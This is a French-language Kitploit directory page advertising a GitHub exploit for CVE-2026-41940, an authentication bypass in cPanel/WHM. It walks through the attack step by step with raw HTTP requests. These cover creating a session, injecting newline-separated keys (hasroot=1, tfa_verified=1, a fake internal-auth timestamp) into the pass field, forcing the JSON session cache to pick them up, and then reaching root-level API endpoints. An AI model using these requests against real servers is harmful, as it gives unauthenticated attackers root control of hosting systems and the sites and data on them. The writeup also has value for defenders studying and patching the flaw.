Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41940-cPanel-Auth-Bypass-Exploit — Exploit pour CVE-2026-41940, un contournement d'authentification dans cPanel/WHM, permettant à des attaquants non authentifiés d'obtenir un accès root via l'injection de session et la promotion du cache JSON. | Kitploit
Outils/GitHubGitHub/kmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubkmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

Exploit pour CVE-2026-41940, un contournement d'authentification dans cPanel/WHM, permettant à des attaquants non authentifiés d'obtenir un accès root via l'injection de session et la promotion du cache JSON.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
1136il y a 5 moisPas encore vérifié
Partager

CVE-2026-41940 : Analyse du contournement d'authentification cPanel/WHM

Présentation de la vulnérabilité

CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans cPanel & WHM affectant toutes les versions actuellement prises en charge. Elle permet à un attaquant non authentifié de contourner l'authentification et d'obtenir un accès de niveau root (WHM) ou un accès de niveau utilisateur (cPanel).

Cause racine technique

La vulnérabilité provient de deux problèmes principaux dans Cpanel/Session.pm :

  1. Injection CRLF dans saveSession : La fonction saveSession ne nettoyait pas correctement les entrées avant de les écrire dans le fichier de session sur le disque. Plus précisément, elle ne supprimait pas les caractères de nouvelle ligne (\n) du champ pass.
  2. Contournement de l'encodage conditionnel : Le champ pass du fichier de session est normalement chiffré à l'aide d'un secret propre à la session (ob). Cependant, si le cookie de session ne contient pas la partie ob (la partie après la virgule), l'encodage est ignoré et la valeur pass est écrite en clair.

Processus d'exploitation

L'exploitation est un processus en plusieurs étapes :

1. Créer une session pré-authentification

Envoyez une tentative de connexion échouée pour déclencher la création d'un fichier de session sur le disque.

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=anything

Le serveur répond avec un cookie whostmgrsession, par exemple whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....

2. Injecter des clés de session malveillantes

Envoyez une autre requête en utilisant le cookie de session mais supprimez la partie ob (la virgule et tout ce qui suit). Dans le champ pass, injectez les clés de session souhaitées à l'aide de nouvelles lignes.

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded

user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149

Comme la partie ob est absente, cpsrvd écrit la valeur pass sans encodage. Les nouvelles lignes injectées font que les lignes suivantes sont interprétées comme des paires clé-valeur distinctes dans le fichier de session brut.

3. Promouvoir l'injection dans le cache JSON

cPanel utilise un cache JSON pour les sessions. L'injection brute ne se trouve que dans le fichier texte. Pour la rendre « active », nous devons forcer cPanel à relire le fichier brut et à mettre à jour le cache JSON. Cela peut être fait en déclenchant une erreur « Token Denied » sur un point de terminaison qui utilise Cpanel::Session::Modify.

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

Le jeton de sécurité manquant dans l'URL déclenche do_token_denied, qui utilise Cpanel::Session::Modify pour mettre à jour le compteur token_denied. Modify lit le fichier brut (en contournant le cache) puis écrit à la fois le fichier brut et le cache JSON, promouvant ainsi efficacement nos clés injectées au niveau supérieur du cache JSON.

4. Accéder aux points de terminaison protégés

La session est désormais pleinement « authentifiée » aux yeux de cPanel. La clé successful_internal_auth_with_timestamp contourne la vérification de /etc/shadow.

GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

Le [TOKEN] peut être obtenu à partir du champ cp_security_token de la session, qui est souvent renvoyé dans la réponse « Token Denied » ou peut être trouvé en inspectant le comportement du cookie de session.

Champs injectés clés

  • tfa_verified=1 : Contourne l'authentification à deux facteurs.
  • hasroot=1 : Accorde les privilèges root dans WHM.
  • successful_internal_auth_with_timestamp=[TIMESTAMP] : Contourne la vérification réelle du mot de passe par rapport au fichier shadow du système.
  • user=root : Définit l'utilisateur de session sur root.
Télécharger l’outil